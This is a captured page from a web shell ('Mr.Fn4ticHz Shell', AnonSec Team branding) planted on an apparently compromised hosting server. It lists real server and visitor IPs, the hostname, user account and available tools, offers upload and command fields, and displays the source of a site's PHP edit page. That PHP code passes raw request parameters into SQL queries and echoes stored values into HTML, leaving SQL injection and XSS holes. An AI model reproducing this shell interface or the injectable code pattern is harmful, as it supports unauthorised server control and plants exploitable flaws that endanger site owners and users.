Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.118.1.179
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_SharedDecisionAid.php
    <?php session_start();
require_once('../dbconnection.php');
include('header.php');
include('menu.php');
    if(isset($_POST['signup'])) 
{
$sql="UPDATE SharedDecision SET Investigation='$_POST[Investigation]',Pros='$_POST[Pros]',Cons='$_POST[Cons]' WHERE id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
 echo "<script>alert('Update successfully');</script><script>
 window.history.go(-2)</script>";
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
   </head>
  <body>
  
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
   <form name='signup' method='post'>
<?php
$sql ="SELECT * FROM SharedDecision WHERE id='$_GET[id]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
              <div><label for='item'>Investigation Treatment<span></span></label><input type='text' value='$rs[Investigation]' name='Investigation'>
    </div><div><label for='item'>Pros<span></span></label><input type='text' value='$rs[Pros]' name='Pros'>
    </div><div><label for='item'>Cons<span></span></label><input type='text' value='$rs[Cons]' name='Cons'>
    </div>
    ";
		}
		?><input type="submit" value="Update" name="signup">
		</form>
	</div></div>

Anon7 - 2022
AnonSec Team